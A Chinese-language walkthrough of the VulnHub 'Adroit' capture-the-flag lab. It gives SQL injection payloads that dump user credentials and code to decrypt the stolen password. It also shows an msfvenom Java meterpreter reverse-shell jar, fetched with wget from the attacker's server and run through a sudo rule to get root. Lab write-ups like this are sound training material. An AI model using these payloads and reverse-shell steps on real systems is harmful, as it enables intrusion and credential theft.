準備:
攻擊機:虛擬機器kali、本機win10。
靶機:Adroit: 1.0.1,下載地址:https://download.vulnhub.com/adroit/Adroit-v1.0.1.ova,下載後直接vbox開啟即可。
知識點:shell反彈(jar)、sql注入、簡單的程式碼編寫、逆向、dns解析。
這個靶場比較推薦,因為之前做的大都是python、php的,這種java類的是很少遇到的,所以還是很有價值的,大家遇到有趣的靶場可以留言一起交流交流。
一:資訊收集
1.nmap掃描
使用nmap掃描下靶機地址,命令:nmap -sn 192.168.0.0/24,發現靶機地址:192.168.0.13。
使用nmap掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.0.13,顯示開放了21埠、22埠、3000埠、3306埠,開啟了ssh服務、ftp服務、mysql服務。
2.ftp服務
在nmap的掃描結果中顯示ftp服務可以匿名登入,那我們訪問下ftp服務,發現三個檔案:adroitclient.jar、note.txt、structure.PNG。
檢視下圖片資訊顯示的應該是這個靶機的網路結構,note.txt檔案是提示資訊,但是現在不知道有什麼用,先放在這。
二:逆向分析程式碼
對上面獲得adroitclient.jar檔案進行逆行,工具比較多就不一一列舉了,這裡就使用jd-gui這個工具了,使用jd-gui工具開啟adroitclient.jar檔案後包含四個java檔案:AdroitClient.class、Cryptor.class、R.class、Idea.class。
對AdroitClient.class程式碼進行分析,得到建立連線使用的是adroit.local地址,因此我們需要進行dns解析,win:開啟C:\Windows\System32\drivers\etc\hosts檔案,新增:192.168.0.13 adroit.local。
然後對下面程式碼繼續分析發現userName=zeus,password=god.thunder.olympus,繼續對程式碼分析後面是post和get兩個請求方式,這裡我們們選擇get方式,然後是下面的核心程式碼,簡單的分析了下,大致意思是讓我們傳遞一個id值,然後將該資訊傳遞到了上面圖片中的socks服務端,然後在接受一個返回的response值。因為具體的socks服務端是如何做的不太清除,目前只能分析出來這麼多。
request.setOption("get");
System.out.println("Enter the phrase identifier : ");
String inp = scanner.nextLine();
String id = crypt.encrypt("Sup3rS3cur3Dr0it", inp);
Idea idea = new Idea();
idea.setId(id);
request.setIdea(idea);
os.writeObject(request);
R responseobj = (R)is.readObject();
String response = responseobj.getOption();
System.out.println(response);
三:SQL隱碼攻擊與解密
1.sql注入
在本地執行下adroitclient.jar檔案,命令:java -jar adroitclient.jar,然後按照要求輸入賬戶、密碼、請求方式、id資訊,進行測試(這裡向socks服務端傳送的是idea類),但是沒什麼返回資訊。
後面想到他開啟了mysql服務,這裡是不是可能存在sql注入,然後就進行了測試,輸入引數:1 union select 1,database()--,成功獲得資料庫資訊:adroit。這裡兩個引數是因為idea類具有兩個引數。
然後就是一直進行注入,獲取資料庫內的資料,執行步驟均同上只替換下最後的語句即可,最後成功獲得加密的密碼資訊:l4A+n+p+xSxDcYCl0mgxKr015+OEC3aOfdrWafSqwpY=。
#獲取資料庫內表資訊
1 union select 1,concat(table_name) from information schema.tables where table schema='adroit'--
#獲取表內列資訊
1 union select 1,concat(column_name) from information_schema.columns where table_name='users'--
#獲取表內資料
1 union select 1,concat(id,0x7c,username,0x7c,password,0x0a) from users--
2.密碼解密
對獲得的加密字串進行解密,解密的核心程式碼主要是Cryptor.class檔案中的decrypt函式,解密後得到密碼:just.write.my.ideas。
package com.company;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.NoSuchAlgorithmException;
import java.util.Base64;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
public class Main {
public static void main(String[] args) throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException {
String key = "Sup3rS3cur3Dr0it";
String text ="l4A+n+p+xSxDcYCl0mgxKrO15+OEC3aOfdrWafSqwpY=";
Key aesKey = new SecretKeySpec(key.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES");
cipher.init(2, aesKey);
System.out.println(new String(cipher.doFinal(Base64.getDecoder().decode(text))));
}
}
3.獲取shell
利用獲得的賬戶和密碼資訊:writer/just.write.my.ideas進行ssh登入,成功獲得shell許可權。
獲得shell許可權後在/home/writer目錄下發現user.txt檔案,讀取該檔案成功獲得flag值。
四:提權
1.查詢利用點
檢視下當前賬戶是否存在可以使用的特權命令,sudo -l,發現存在(root) /usr/bin/java -jar /tmp/testingmyapp.jar。
2.生成shell反彈jar包
那我們就可以生成一個進行shell反彈的java包testingmyapp.jar。這裡可以使用idea、eclipse、msf均可以,我開始使用的是idea製作的jar包,但是因為本機(win)java版本太高,導致到靶機裡沒法執行,然後找了另一個虛擬機器(kali,java版本較低,未對高版本進行測試)使用製作了一個testingmyapp.jar,命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.0.10 LPORT=6688 W >testingmyapp.jar。
然後開啟web服務,將該檔案下載到靶機中,命令:python -m http.server和wget http://192.168.0.11:8000/testingmyapp.jar。
4.msf利用獲取root許可權
然後在kali中啟動msf並進行如下配置,做好配置之後在靶機的shell中已root許可權啟動testingmyapp.jar,命令:sudo /usr/bin/java -jar /tmp/testingmyapp.jar,成功獲得root許可權。
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.0.10
set LPORT 6688
run
獲得root許可權後在/root目錄下發現root.txt檔案,讀取該檔案成功獲得flag值。